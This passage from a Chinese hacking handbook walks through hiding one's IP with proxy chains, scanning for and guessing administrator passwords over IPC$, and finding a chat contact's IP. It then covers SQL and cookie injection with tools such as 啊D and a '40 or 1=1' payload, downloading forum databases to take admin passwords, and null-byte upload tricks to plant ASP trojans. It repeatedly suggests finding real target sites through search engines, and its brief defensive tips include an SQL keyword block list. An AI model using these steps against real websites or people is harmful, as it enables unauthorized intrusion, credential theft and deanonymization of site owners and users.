MultiProxy是一个多功能个人代理服务器，使用户在连线上网时，能保护使用者的隐私，以及透过存取不同的代理服务器而提高下载速度。用户只需在MultiProxy下配置已经通过验证的代理，再定义好其他需要通过代理调度的软件，并指向MultiProxy即可，更换代理时只需在MultiProxy中进行变更，而不用再逐次地去进行更换，操作十分方便。

使用MultiProxy自动设置代理具体的操作步骤如下。

步骤1：可从Internet网上下载最新版本，若是压缩文件，则需要使用WinRAR或WinZip等专用解压缩工具将其解压，再运行它即可进入操作界面，如图7-48所示。

图　7-48　MultiProxy操作界面

步骤2：单击【选项】按钮，即可打开【选项】对话框，如图7-49所示。

图　7-49　【选项】对话框

步骤3：在“常规选择”选项卡中可设置连接的端口号、连接的线程数量、连接代理服务器的方式、选择服务器和是否测试服务器等选项。

步骤4：在“代理服务器列表”选项卡中可查看代理服务器的连接状态、添加、编辑和删除代理服务器等操作，如图7-50所示。在“高级选项”选项卡中可设置是否保存日志文件、空闲挂线时间设置和仅允许连接的IP地址等选项，如图7-51所示。

图　7-50　设置代理服务器

图　7-51　设置高级选项

步骤5：在设置完毕之后，单击【确定】按钮，即可将自己的设置保存到系统中。

步骤6：在【Internet选项】对话框中选择【连接】选项卡，如图7-52所示。单击【局域网设置】按钮，即可打开【局域网（LAN）设置】对话框，在其中设置代理服务器，如图7-53所示。

图　7-52　【连接】选项卡

图　7-53　设置网络应用程序的代理服务器

步骤7：运行指定MultiProxy代理的网络应用程序时，在MultiProxy界面中可以清楚地看到正在被调用的代理服务器，如图7-54所示。

图　7-54　查看代理调用状态

第67招　组合代理服务器的深入应用

代理服务器的使用在网络安全中已经比较广泛了，它可以解决很多实际问题，例如隐藏真实地址以免遭恶意攻击等。这里将通过"Sockscap+Sksockserver"这个完美的代理组合，讲解如何对代理服务器进行深入应用。

1.安装与设置

安装与设置Sksockserver的方法很简单，其具体的操作步骤如下。

步骤1：下载并解压"Sksockserver"压缩文件，双击"SkServerGUI.exe"应用程序图标，即可进入"Sksockserver"操作界面，如图7-55所示。

图　7-55　"Sksockserver"操作界面

步骤2：选择【配置】→【运行选项】菜单项，即可弹出【Run Option Setting】对话框，在其中设置服务运行的端口，再单击【OK】按钮来确定服务运行的端口为“1913”，如图7-56所示。

图　7-56　【Run Option Setting】对话框

步骤3：选择【配置】→【经过的SkServer】菜单项，即可打开【经过的Sksockserver】对话框，在其中可以填写IP地址、端口号并勾选“E允许？”复选框（这里的IP地址就是用Sksockserver.exe做的代理）。单击【A增加】按钮，就可以看到这个代理已经在上面显示出来了，如图7-57所示。

图　7-57　【经过的Sksockserver】对话框

步骤4：单击【OK】按钮，即可完成代理设置。返回到主操作界面并选择【配置】→【保存设置】菜单项，即可保存这个设置。如果这个代理IP可用很长时间，就不用每次都设置了。

注意　这里的代理可以填写多个，理论上最多可设置255个跳板，不过实际上如果设置太多，速度根本就跟不上，为了不被速度拖后腿，一般只设置一个就可以了，如果速度还够快，再设置多一级也没关系。

步骤5：现在把Sksockserver最小化到状态栏，双击"Sockscap32.exe"应用程序图标，即可进入【Sockscap32控制台】主窗口，如图7-58所示。

图　7-58　“Sockscap32控制台”主窗口

步骤6：选择【文件】→【设置】菜单项，即可打开【Sockscap32设置】对话框，在其中指定用户的Socks服务器地址并选择使用的通讯协议版本，如图7-59所示。

图　7-59　【Sockscap32设置】对话框

步骤7：返回Sockscap32控制台主窗口，选择【文件】→【新建】菜单项或单击工具栏中按钮，即可打开【新建应用程序标识项】对话框，在“标识项名称”文本框中输入新建标识项的名称，如图7-60所示。

图　7-60　【新建应用程序标识项】对话框

步骤8：单击“命令行”文本框右侧的【浏览】按钮，即可打开【浏览应用程序】对话框，在其中找到用户要使用跳板的"*.exe"文件。单击【打开】按钮，即可将想要使用的跳板文件添加进去，这里只添加了telnet.exe和3389的客户端两项（若想添加多项，则需要一个一个地添加），如图7-61所示。

图　7-61　【浏览应用程序】对话框

步骤9：在添加完毕之后，即可在【Sockscap32控制台】主窗口中查看添加的结果，如图7-62所示。

图　7-62　查看添加的结果

当然，在【Sockscap32控制台】主窗口中会发现多了两项，其中"MSTSC"则是大家使用的终端服务客户端。

注意　这里不是把cmd.exe拖进来的，是把C:\windows\system32目录下的Telnet.exe放进去的。其实大家也可以把其他的软件添加进去，比如流光、X-Scan等。

这样，Sockscap就简单设置完了，以后使用这些软件时只要在Sockscap里双击这些图标，就可以运行软件以实现跳板的功能。

2.连通性测试

下面以Telnet为例验证一下Telnet能不能隐藏大家的真实地址。具体的操作步骤如下。

步骤1：双击Sockscap32控制台里面的"Telnet"图标，即可弹出【Telnet登录】窗口，如图7-63所示。

图　7-63　“Telnet登录”窗口

步骤2：在当前命令提示符下输入"open 192.168.0.12 80"命令，即可实现Telnet隐藏真实IP的作用了，如图7-64所示。

图　7-64　测试连通性

从中可以看出"Open IP port"这样的格式，这里用装了RemoteNC，端口是80的机器来试验，因此在命令提示符下输入"Open 192.168.0.12 80"命令。当然，连接的端口也就是这个机器的80端口，而后面的地址就是客户机的地址，这个客户机地址就是设置的代理地址，这样，就可以实现Telnet隐藏真实IP的作用了。

第68招　防范远程跳板式入侵

喝茶的人都知道，越是好茶就越要慢慢地品尝。在黑客的世界中也是如此，往往一些技术本身，刚接触时还感觉不到它的妙处，越是使用得久了，越是能在不经意间发现其奥妙无穷。远程跳板代理攻击模式就是这样的一种技术。

1.扫描选择目标

这里使用的工具是国内享有盛誉的流光软件，主要理由是它所特有的一种扫描模式：远程扫描模式。通过在远程肉鸡上的安装，就可以轻易实现远程跳板式扫描。

具体的操作步骤如下。

步骤1：下载并安装"Fluxay"软件，双击桌面上的"Fluxay"应用程序图标，即可进入【Fluxay】主窗口，如图7-65所示。

图　7-65　"Fluxay"主窗口

步骤2：选择【探测】→【扫描POP3/FTP/NT/SQL主机】菜单项，即可弹出【主机扫描设置】对话框，在其中输入需要扫描的“开始地址”和“结束地址”；在“扫描主机类型”下拉列表中选择扫描类型为"NT/98"选项，如图7-66所示。

图　7-66　【主机扫描设置】对话框

步骤3：将开始和结束的IP地址还有“扫描的主机类型”填写完毕后，单击【确定】按钮，流光就开始扫描目标主机了。此时可以用“断开”命令暂时断开和服务器的连接，而流光软件自动进行扫描。扫描完毕后其显示结果如图7-67所示。

图　7-67　查看扫描结果

步骤4：在“IPC$主机”下所扫描出的目标主机中任选一个右击，从快捷菜单中选择【探测】→【探测IPC$用户列表】菜单项，即可打开【IPC自动探测】对话框，则将使用专门的黑客字典对密码进行探测，如图7-68所示。

图　7-68　IPC$主机列表

步骤5：为能直接获得更大权限，需在【IPC自动探测】对话框中勾选“仅探测Administrator组的用户”复选项，如图7-69所示。单击【是】按钮，即可弹出如图7-70所示的界面。

图　7-69　【IPC自动探测】对话框

图　7-70　“本次探测用户”窗口

2.代理跳板的架设

代理架设的方法很简单，具体的操作步骤如下：

步骤1：通过3389远程登录自己的肉机，选择【开始】→【附件】→【命令提示符】菜单项，即可进入“命令提示符”窗口。

步骤2：在当前命令提示符下输入"net use\\192.168.0.55""/user:"Administrator""命令，即可建立空连接，如图7-71示。稍等片刻，就会显示“命令执行成功”信息。

图　7-71　“代理架设”窗口

第69招　实战IP追踪

在网络管理中常常需要查找黑客或者是其他不怀好意的网民行踪，如何才能实现精确地定位某个IP地址的所在地？实际上，使用一些简单的命令和方法就可以完成黑客追踪。

1.网络定位

要实现网络定位，最简单的方法就是在IP地址查询网站上进行查询，下面随便选择一个网站为例介绍其具体的操作步骤。

步骤1：打开一个IP地址查询网站，这里打开http://www.ip.cn网站，如图7-72示。

图　7-72　IP地址查询网站

步骤2：如果要查找已知的IP地址，直接在“请输入IP地址”文本框中输入要查找的IP地址，单击【查询】按钮，即可得到需要的地址，如图7-73所示。

图　7-73　查询的地址

2.查知他人IP地址

在进行网络聊天的时候，如果想要知道对方的所在地，可以先查找对方的IP地址，再通过网络定位得知。下面以QQ为例介绍如何获得对方的IP地址，具体的操作步骤如下。

步骤1：登录QQ之后，打开【命令提示符】窗口，在命令行中输入Netstat命令来查看当前网络连接的情况，如图7-74所示。

图　7-74　查看网络链接

步骤2：结果显示中的网络连接，经过查询后得知都是QQ的服务器地址，此时，如果要想知道某个好友的IP地址，需要先使用QQ给他传送一个文件。

步骤3：在好友接收文件时，再次在命令行中输入Netstat命令，可以看到如图7-75所示的结果。显然，新的IP地址192.168.0.10就是好友的IP地址了。

图　7-75　查看好友IP地址

在进行以上操作时，用户除登录QQ外，不要打开任何其他的网络软件或浏览网页等，以免出现一些无关的IP地址。

第8章
注入工具与溢出攻击

重点提示

♂SQL注入攻击

♂实战Cookie注入攻击

♂跨站攻击与漏洞入侵

♂数据库漏洞入侵

♂文件上传漏洞入侵

♂啊D注入工具

♂PHP注入利器ZBSI

♂IDQ溢出攻击工具

本章精粹：

本章主要介绍了黑客比较常用的几款注入与溢出攻击工具，通过这些工具可以快速拿下一个有注入漏洞的站点，拥有不少自己的“肉鸡”，并通过扫描注入点来获得WebShell后的提升权限，以入侵目标主机。读者可针对这些工具进行防范。

当一个网站完全建立后，如果服务器与用户有大量地交互程序，而程序员又没有足够的安全意识，网站的程序漏洞就会很多，这将给网站带来不少安全隐患。而像SQL注入、Cookie注入、数据库漏洞、文件上传漏洞、啊D注入、NBSI注入、Domain注入等各种各样的代码漏洞，会让网站程序面临巨大的安全隐患。

第70招　SQL注入攻击

由于程序员的水平及经验也参差不齐，其中相当大一部分在编写网站代码时，没有对用户输入数据的合法性进行判断，从而使网站存在不少安全隐患。用户可提交一段数据库查询代码，根据程序返回的结果，获得某些想知道的数据（所谓的SQL Injection，即SQL注入）。

SQL注入攻击一般有查找可攻击的网站、判断后台数据库类型、确定XP_CMDSHELL可执行情况、发现WEB虚拟目录、上传ASP木马以及得到管理员权限等几个步骤。

目前，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQL占20%，其他的不足10%。SQL注入攻击按网站类型主要分为ASP注入攻击和PHP注入攻击两种，另外，还有JSP、CGI注入攻击等。

1.用“啊D SQL注入程序”实施注入攻击

随着网络安全技术的不断提高，涌现出了许多优秀的攻击程序。

下面讲述“啊D SQL注入程序”实施注入攻击的过程。

步骤1：下载并解压“啊D SQL注入程序”文件，双击"SQL Tools"应用程序图标，即可进入“啊D SQL注入工具”主界面，如图8-1所示。

图　8-1　“啊D SQL注入工具”主界面

步骤2：单击左上方工具栏中的按钮，即可打开“注入点检测”页面，在“网站地址”栏目中输入需要注入的网址，如图8-2所示。单击【打开】按钮，即可打开该网站并扫描注入点个数，如图8-3所示。

图　8-2　“注入点检测”页面

图　8-3　打开网站并扫描注入点个数

步骤3：任意选择其中一个扫描到的注入点并右击，从快捷菜单中选择“复制连接”菜单项，单击工具栏中的按钮，即可进入“SQL注入检测”页面。在“注入连接”地址栏中粘贴刚才所选注入点地址，单击【检测表段】按钮，即可检测出相应的表段，如图8-4所示。

图　8-4　“SQL注入检测”页面

步骤4：再任意选中其中一个表段，则右边【检测字段】按钮被激活，此时单击【检测字段】这个按钮，即可检测出该表对应的相应字段，如图8-5所示。

图　8-5　检测某表所对应的各字段

步骤5：根据需要再选择该表中的任意一个字段，则右边的【检测内容】按钮被激活，此时单击【检测内容】这个按钮，即可开始检测内容，如图8-6所示。

图　8-6　检测内容

通过上述操作可以发现，注入攻击的过程与“旁注入侵专用程序”的攻击过程有很多相似之处。实际使用过程中用户可综合这些软件的优点灵活运用，从而提高测试效率。

2.查找可SQL攻击的网站

SQL注入攻击环境除可在虚拟机中进行搭建，还可在网上进行搜索，不过刚开始实际学习中可能很难找到可以练手的站点。如何才能快速找到练习SQL注入环境呢？其实很简单，只需要利用各大搜索引擎的网络搜索功能，来大量寻找可进行注入学习的站点即可。

具体的操作步骤如下。

步骤1：在搜索引擎的搜索栏里输入"list.asp?id=1"，即可搜索到很多结果，如图8-7所示。再运行“啊D SQL注入工具”就可以开始进行注入了，如图8-8所示。

图　8-7　搜索结果

图　8-8　啊D SQL注入工具

步骤2：将要注入的地址输入到“啊D SQL注入工具”的“注入连接”地址栏里，分别单击【检测表段】、【检测字段】及【检测内容】三个按钮，分析各表段、字段和密码，从而猜解出网站管理员的密码、后台的入口地址，就可以到后台进行管理员的操作了。

3.全面防御SQL注入攻击

SQL注入入侵是根据IIS给出的ASP错误信息来入侵的，因此，可通过配置IIS和数据库用户权限的方法，来对错误提示信息进行设置，以实现有效防范SQL注入的入侵。

具体操作步骤如下。

步骤1：在Windows系统的【控制面板】窗口中双击【管理工具】图标，即可打开【管理工具】窗口。双击【Internet信息服务】图标，即可打开“Internet信息服务”窗口，单击“本地计算机”电脑图标前的“+”号，和其下属结点“网站”前的“+”号，如图8-9所示。

图　8-9　“Internet信息服务”窗口

步骤2：右击其中的“默认网站”选项，并在快捷菜单中选择“属性”选项，即可打开【默认网站属性】对话框，如图8-10所示。切换到“自定义错误”选项卡，在“HTTP错误”列表中选择“500:100”选项，如图8-11所示。

图　8-10　“默认网站属性”对话框

图　8-11　“HTTP错误”选项卡

步骤3：单击【编辑属性】按钮，即可打开【错误映射属性】对话框，如图8-12所示。在“消息类型”下拉列表中选择“默认值”选项之后，单击【确定】按钮，即可完成设置。

图　8-12　【错误映射属性】对话框

此外，网站程序员还需要在程序代码编写上防范SQL注入入侵，具体的方法如下。

1）在为网站数据库命名时，尽量不要取那些看起来意义明显的名字。这样，即使用户名和口令被猜解了出来，入侵者也不易知道哪些信息是对其有用的。

2）仔细检测客户端提交的变量参数。利用一些检测工具对用户通过网址提交的变量参数进行检查，发现客户端提交的参数中有"exec、insert、select、delete、from、update、count、user、xp_cmdshell、add、net、Asc"等用于SQL注入的常用字符时，立即停止执行ASP并给出警告信息或转向出错页面。

3）对重要数据进行加密。如用MD5加密，MD5没有反向算法，也不能解密，就可以防范对网站的危害了。

第71招　实战Cookies注入攻击

Cookies是当用户浏览某网站时，网站存储在用户计算机上的一个文本文件，它记录了用户的ID、密码、浏览过的网页等信息。目前，Cookies最广泛的是记录用户登录信息，这样，下次访问时可以不需要输入自己的用户名、密码。当然，也存在用户信息泄密的问题，尤其在多个用户共用一台电脑时很容易出现这样的问题。

1.Cookies欺骗简介

在Windows 2000/XP中，Cookie一般的存放位置是：C:\Documents and Settings\Administrator\Cookies。黑客不需要知道这些字符串的含义，只要把别人的Cookie信息向服务器提交，通过验证就可以冒充别人来登录论坛或网站，这就是Cookie欺骗的基本原理。

IECookiesView是一款可以搜寻并显示出本地计算机中所有Cookies档案的数据，包括哪一个网站写入Cookies、写入的时间日期及此Cookies的有效期限等信息。通过该软件，黑客可以很轻松地读出目标用户最近访问过哪些网站、甚至可以任意修改用户在该网站上的注册信息。但此软件只对IE浏览器的Cookies有效。使用IECookiesView的具体步骤如下。

步骤1：下载并安装IECookiesView软件，双击"IECookiesView"应用程序图标，即可运行该软件并会自动扫描驻留在本地计算机IE浏览器中的Cookies文件，如图8-13所示。

图　8-13　利用IECookiesView显示Cookies文件

步骤2：在“主页”列表中任意选中其中一个Cookies，可以在显示区域中看到其地址、参数以及过期时间等信息，如图8-14所示。如果显示了一个绿色的对勾，则该Cookies可用；如果是一个红色的叉，则表示该Cookies已经过期，无法使用。

图　8-14　查看Cookies的详细信息

步骤3：在IECookiesView中可对Cookies中的密钥值进行编辑，在“密钥值”列表中右击某个键值，在快捷菜单中选择“编辑Cookies内容”选项，即可打开【编辑Cookie内容】对话框，在其中对其各个属性进行重新设置，如图8-15所示。

图　8-15　【编辑Cookies内容】对话框

步骤4：在“主页”列表中右击某个Cookies，在快捷菜单中选择“打开主页”选项，IE浏览器就会自动利用保存在Cookies信息登录相应的网址，如图8-16所示。这样，黑客就利用这些不起眼的Cookies成功地获得了别人隐私信息，而且在论坛中还可冒用别人名义发表帖子。

图　8-16　通过Cookies浏览网站

2.Cookies注入攻击

现在很多网站都采用了通用防注入程序，对于这种网站可采用Cookies注入的方法，而很多通用防注入程序对这种注入方式都没有防备。

在ASP中，request对象获取客户端提交数据常用的是get和post两种方式，同时request对象可以不通过集合来获得数据，即直接使用"request("name")"。但它效率低下、容易出错，当省略具体的集合名称时，ASP是按QueryString(get)，Form(post)，Cookie, Severvariable集合的顺序来搜索的。而Cookies是保存在客户端的一个文本文件，可对其进行修改，利用Request.cookie方式来提交变量的值，从而实现注入攻击。其格式为：Response.Cookies["uid"].Value=uid；

Cookies记录了用户的ID号，当需要用到UID时，就通过Cookies搜索用户信息，使用到的ASP代码如下：

if(Request.Cookies["uid"]！=null)

{

uid=Request.Cookies["uid"].value;

string str="select*from userTable where id="+uid;

}

只要通过专门Cookies修改工具（如IECookiesView）可把Cookies["uid"]的值改成"40 or 1=1"或其他注入代码，就可以实现Cookies注入攻击了。另外，还可通过Cookies注入工具直接注入，“Cookies注入器”就是其中最常见的一款。

“Cookies注入器”可以快速生成注入的ASP脚本，具体的使用步骤如下。

步骤1：下载并运行“Cookies注入器”，其主界面如图8-17所示。

图　8-17　【Cookies注入器】主窗口

步骤2：在其中设置各个属性之后，单击【生成】按钮，即可看到【文件成功生成】提示框，如图8-18所示。单击【确定】按钮，即可快速生成注入文件。

图　8-18　【文件成功生成】提示框

如要预防Cookies注入的发生，只要在获得参数UID后，对其进行过滤，通过创建一个类来判断数字参数是否为数字，其代码如下：

if(Request.Cookies["uid"]！=null)

{

uid=Request.Cookies["uid"].value;

isnumeric cooidesID=new isnumeric();

if(cooidesID.reIsnumeric(ruid))

{

string str="select*from userTable where id="+uid;

}

}

其中"isnumeric cooidesID=new isnumeric()；"语句的作用是创建一个类，再使用一个判断语句"if(cooidesID.reIsnumeric(ruid))"来判断数字参数是否为数字，如果是数字则执行"string str="select*from userTable where id="+uid；"代码行对获得的参数进行过滤。

第72招　数据库漏洞入侵

一般的Web Server都要使用数据库来存储信息，几乎所有网站都要用数据库，因此，利用数据库漏洞对网站进行入侵的攻击技术应用非常广泛。

1.数据库漏洞入侵概述

普通网站使用的数据库通常有两种：一种是使用小型数据库，如Access，一般就储存在本地。另一种是使用大型数据库，如SQL Server, Oracle这时候一般都放在另一台机器上，再通过ODBC来访问它。由于在各种页面上经常需要查询各种数据信息，修改用户信息等操作，实质上就是对数据库进行操作。这些网站页面就给非法用户留下了利用的机会，如果数据库存在漏洞，将会给网站带来不可恢复性的灾难。通常所说的数据库入侵技术为分两种，一种叫做“数据库下载漏洞”，一种叫“暴库漏洞”。

（1）数据库下载漏洞

所谓数据库下载漏洞，主要是由于大多数网管为了节省时间，网站上的文章系统、论坛等程序都是直接下载别人的源程序再经过部分修改后使用的。由于网站的源程序是公开的，且网管没有对数据文件名和文件路径进行修改，黑客就很有可能将数据库下载到本地打开，从中获取网站管理员密码等，入侵控制整个网站。

即使网管采取了一些防范措施，比如修改数据库的后缀、修改数据库的名字等，也有可能被黑客通过猜解的方式得到数据库地址。最常见的数据库下载漏洞，以曾经流行一时的动网论坛默认数据库下载漏洞最为有名。

（2）暴库漏洞

由于网管可能对网站源程序进行了修改，隐藏数据库文件地址，因此，黑客会想尽一切方法让网站的数据库信息暴露出来。由此诞生了许多数据库攻击技术，暴库漏洞就是其中的一个。暴库漏洞也有一些要求，一个是被替换的"/"必须是站点以下二级目录的，另一个是数据连接文件不能和暴库所用的文件在同一个目录下面。

2.动网数据库漏洞入侵与防御

为证明数据库下载漏洞攻击的危害性，下面以大名鼎鼎的动网论坛为例讲述如何使用默认的数据库地址下载动网论坛数据并进行攻击。需要入侵的动网论坛是在虚拟机上建立的，假设网址为"http://localhost/dvbbs8/index.asp"，也可入侵通过百度和Google搜索到的网站。

（1）下载论坛数据库

下载论坛数据库的方法很简单，具体的操作步骤如下。

步骤1：打开要入侵的论坛的网址"http://localhost/dvbbs8/index.asp"，如图8-19所示。

图　8-19　打开入侵论坛

步骤2：Dvbbs动网论坛使用默认数据库路径是论坛目录下的"data/Dvbbs8.mdb"文件。如果管理员未更改该数据库文件的路径，只要在IE浏览器中访问该文件，就可以下载到论坛数据库。而地址栏中则会尝试提交链接地址为"http://localhost/dvbbs8/data/Dvbbs8.mdb"，如果论坛默认数据库没有改名，按下Enter键后将会弹出一个下载提示框，询问是否保存名为"Dvbbs8.mdb"的文件，如图8-20所示。

图　8-20　下载Dvbbs动网论坛数据库

步骤3：接着单击【保存】按钮，黑客就可以将该动网论坛的用户数据库下载到本地。

（2）破解管理员密码

将论坛数据库下载后，用户可借助一个“辅臣数据库浏览器”工具来破解管理员的密码。具体的操作步骤如下。

步骤1：下载并解压“辅臣数据库浏览器”文件夹，双击“辅臣数据库浏览器”应用程序图标，即可进入“辅臣数据库浏览器”主窗口，如图8-21所示。

图　8-21　“辅臣数据库浏览器”主窗口

步骤2：单击左上方的【打开数据库】按钮，即可弹出【打开】对话框，如图8-22所示。在其中选择刚才下载的"dvbbs8.mdb"文件，单击【打开】按钮，即可将其调入打开。如图8-23所示。

图　8-22　【打开】对话框

图　8-23　打开数据库文件

步骤3：单击左侧栏目中表名为"dv_user"表，则在右侧窗口中可显示此表中的数据内容，"DV_user"表就是用来保存DVbbs论坛管理员用户名和密码的，如图8-24所示。

图　8-24　查看论坛管理员用户名和密码

第73招　文件上传漏洞入侵

文件上传漏洞是由于网站设计不完善造成的，它允许访问者向网站上传任意文件，包括病毒、木马等恶意程序，从而给网站安全造成了威胁。Internet网络上存在文件上传漏洞的网站很多，用户可通过搜索引擎找到这类信息，再根据这些信息寻找存在文件上传漏洞的网站。

1.文件上传漏洞概述

网站的上传漏洞是由于网页代码中的文件上传路径变量过滤不严造成的，在许多论坛的用户发帖页面中都存在这样的上传Form，显示如图8-25所示。其网页编程代码如下：

＜form action="user_upfile.asp"…….＞

＜input type="hidden"name="filepath"value="UploadFile"＞

＜input type="file"name="file"＞

＜input type="submit"name="上传"class="login_btn"＞

＜/form＞

其中"filepath"是文件上传路径，由于网页编写者未对该变量进行任何过滤，因此用户可以任意修改变量值。在网页编程语言中有一个特殊的截止符“\0”，该符号作用是通知网页服务器中止后面的数据接收。

图　8-25　“文件上传”窗口

利用该截止符可重新构造filepath，例如正常的上传路径是"http://www.***.com/bbs/uploadface/200906240825.jpg"，但也可使用“\0”构造filepath为http://www.***.com/ne wmm.asp\0/200906240825.jpg。

这样当服务器接收filepath数据时，检测到newmm.asp后面的\0后，将理解为filepath数据就此结束了，上传的文件就被保存为"http://www.***.com/newmm.asp"。

2.文件上传漏洞工具

除动网论坛外，各种系统的上传漏洞也非常多，其漏洞原理基本都差不多，攻击利用方法上有略微的差异，简而言之可归纳为几步：先抓包，然后修改文件类型，再在上传路径后加上空格，用十六进制编辑器把空格改成00，最后用NC提交。这个攻击过程可以使用一些文件上传漏洞工具来完成，比如最常见的工具是桂林老兵的文件上传工具。下面简单介绍一下桂林老兵的上传漏洞利用程序，如图8-26所示。

图　8-26　网站上传利用工具

为方便说明，对照Dvbbs动网论坛8.0版本的"Upfile.asp"和"Reg_upload.asp"两个文件上传代码，来说明如何添加工具中的上传参数。Upfile.asp文件为存在上传漏洞的文件，而Reg_upload.asp文件为添加工具时用到的参数，也即Upfile.asp文件在执行时用到的参数都是来自Reg_upload.asp文件中表单所提交的内容。

UpFile是通过生成一个Form表（Reg_upload.asp文件中）来实现上传的。代码如下。

＜form name="form"method="post"action="UpFile.asp"…….＞

＜input type="hidden"name="filepath"value="uploadFace"＞

＜input type="hidden"name="act"value="upload"＞

＜input type="file"name="file1"

＜input type="hidden"name="fname"＞

＜input type="submit"name="Submit"value="上传"…….＞＜/form＞

其中用到的变量如下：

FilePath：默认值是Uploadface，即上传后默认的存放目录，属性Hidden。

File1：这就是用户要上传的文件。

结合上述代码，用户填写上传内容的具体操作步骤如下。

步骤1：在“提交地址”中输入存在上传漏洞文件的URL地址，该地址在代码段中的"Action="参数后可以看到，如http://www.xxxx.com/bbs/Upfile.asp。在“路径字段”中填写的"Filepath"，即为表单源代码中的"File1"，表示上传路径字段名。

步骤2：在“上传路径”中填写的是上传到对方服务器上后，木马后门保存的路径及文件名，默认为"/shell.asp"；在“允许类型”中输入一个WEB程序允许上传的文件类型，一般网站都允许上传JPG图片文件，因此默认为JPG。

步骤3：在“本地文件”中填写要在本机上传的木马路径；在"Cookies"中填写的是登录网站的Cookies信息，可使用抓取数据包工具如WsockExpert抓取，也可使用上面提到过的"Cookies＆Inject Browser"浏览器工具来获取。

用户可连接上传后的ASP木马进一步渗透攻击，最终达到控制整个网站服务器的目的。现在网络具有文件上传漏洞的网站仍然很多，这就要求网站管理员经常到Internet网络上查找这方面的信息，并对比自己的网站，若发现有此漏洞，就需要及时修改有关代码，避免黑客利用此漏洞对自己的网站进行攻击。

3.对文件上传漏洞实施入侵与防御

在这里以WSE与NC结合入侵“动感下载系统XP v1.3 Build 0112”网站上传漏洞为例，介绍相应的参数获取填写方法，先说明一下手动利用上传漏洞攻击的过程。

需要从网上下载“动感下载系统XP v1.3 Build 0112”程序，将其安装在虚拟机的IIS信息服务器上。也可在Google或百度中输入关键词进行搜索，将会得到大量使用“动感下载系统XP v1.3 Build 0112”建立的网站。Web攻击搭建入侵平台的方法都差不多，下载相应的网站程序安装在虚拟机上即可。

对文件上传漏洞实施入侵的具体操作步骤如下。

步骤1：在“动感下载系统XP v1.3 Build 0112”程序网站中注册一个新用户，用该用户名登录网站并进入网站管理中心，如图8-27所示。

图　8-27　网站管理中心

步骤2：单击左侧的【添加新的软件】链接按钮，即可进入软件添加页面。单击页面中“文件上传”的【浏览】按钮，浏览选择本地的一个ASP木马后门文件"test.asp"，确定后先不要单击【上传】按钮，如图8-28所示。

图　8-28　上传asp后门

步骤3：运行WSockExpert工具，单击工具栏中的【打开】按钮，在进程列表中选择"iexplore.exe"下的“动感下载系统XP管理中心”，如图8-29所示。单击【打开】按钮，即可开始监视IE浏览器与网站的交换数据。

图　8-29　嗅探上传IE进程

步骤4：返回到动感下载系统上传页面，单击【上传】按钮，将会提示上传出错。再回到WSockExpert工具中，单击列表框中的“信息包”中包含"POST"行数据，在下方的数据内容框中，复制"Cookies："后面的内容，如图8-30所示。

图　8-30　嗅探到的Cookie数据

步骤5：将复制的Cookie内容粘贴到网站上传利用工具的"Cookies"信息框中，如图8-31所示。也可以运行一个叫做“网站安全检测工具”的软件，登录网站打开上传页面。在软件的"Cookies"框中就可以复制到Cookies信息了，如图8-32所示。

图　8-31　粘贴Cookies信息到上传利用工具中

图　8-32　网站安全检测工具

在网站上传利用工具中还有一个“路径可定义”与“文件名可定义”的选择，其代表的就是FilePath路径变量与Filename文件变量欺骗两种上传漏洞类型。根据漏洞的类型，选择相应的方式即可。例如，这里上传路径FilePath其值为"uploadImages"，是在用户端提交的，所以属于FilePath路径变量欺骗上传漏洞，选择“路径可定义”，并在下方的“上传路径”处可填写要上传保存的任意路径及任意木马文件名。

如果是Filename文件变量欺骗上传漏洞，则不能指定保存路径，在“上传路径”处直接输入要保存的ASP文件名即可。此外，还有一个“允许类型”，用于设置网站允许上传的文件类型，使用默认的"jpg"图片类型即可。

步骤6：在上述参数填写完成后，单击【提交】按钮，即可在右侧界面中返回信息，说明上传攻击检测是否成功了，如图8-33所示。在其中可看到返回信息中包含“＜FONT color=red＞＜/font＞图片路径：＜input type="text"size="45"value="uploadImages/test.asp"＞”内容，如图8-34所示。这说明ASP木马上传成功，其路径为"uploadImages/test.asp"。在IE浏览器中访问http://localhost/_/uploadImages/test.asp，就可以看到上传成功的ASP木马后门了。

图　8-33　提交上传攻击检测

图　8-34　返回的路径信息

有一些上传漏洞网站程序在成功上传后，也不会返回路径信息，或返回假的路径信息，这时，必须根据自己在利用工具的“上传路径”处填写的路径来确定文件的链接地址。

第74招　啊D注入工具

啊D注入是一款超级经典的注入工具，优化了注入线程和代码。用户账号可以随便填写。无任何限制，并具有自创的注入引擎，能检测更多存在注入的连接，使用多线程技术，检测速度很快。对“MSSQL显错模式”、“MSSQL不显错模式”和"Access"等数据库都有很好地注入检测能力，内集“跨库查询”、“注入点扫描”、“管理入口检测”、“目录查看”、“CMD命令”、“木马上传”、“注册表读取”、“旁注/上传”、“WebShell管理”和“Cookies修改”于一身的综合注入工具包。

很多黑客都是通过SQL注入来实现对网页服务器攻击的，啊D注入工具是一款出现相对较早，而且功能非常强大的注入工具，集旁注检测、SQL猜解决、密码破解、数据库管理等功能于一身，是运用最广泛的一个工具。实现啊D注入攻击的具体操作步骤如下。

步骤1：下载并解压啊D注入工具包，即可打开解压后的“啊D注入工具文件夹”窗口，如图8-35所示。

图　8-35　“啊D注入工具文件夹”窗口

步骤2：双击“啊D注入工具”应用程序图标，即可进入“啊D注入工具”主窗口，如图8-36所示。在“注入检测”选项栏目中单击【扫描注入点】按钮，即可打开“扫描注入点”页面，在“注入连接”地址栏中输入注入的网站地址。单击按钮，即可打开该网站并扫描注入点个数，如图8-37所示。

图　8-36　“啊D注入工具”主窗口

图　8-37　“扫描注入点”页面

步骤3：若单击“注入连接”右侧的按钮，即可对Cookies进行修改，如图8-38所示。

图　8-38　对Cookies进行修改

步骤4：根据需要选中其中的一个注入点，单击“注入检测”选项栏下方的【SQL注入检测】按钮，即可进入“SQL注入检测”页面。单击【检测】按钮，等待检测完成后，继续单击【检测表段】按钮，即可检测出相应的表段。

步骤5：再任意选中其中的一个表段，单击右边的【检测字段】按钮，即可检测出该表对应的相应字段；根据需要选择该表中的所有字段，单击【检测内容】按钮，即可开始检测内容，如图8-39所示。

图　8-39　“SQL注入检测”页面

步骤6：待内容检测完毕后，在“检测内容”下方的列表框中，即可查看详细的检测内容（包括：用户名、密码、编号等），如图8-40所示。

图　8-40　查看详细的检测内容

步骤7：单击“注入检测”选项栏目下方的【管理入口检测】按钮，即可打开“管理入口检测”页面，在“网站地址”栏目中输入需要管理入口检测的地址。单击【检测管理入口】按钮，即可在下方列表中显示该网站的所有登录入口点，如图8-41所示。

图　8-41　“管理入口检测”页面

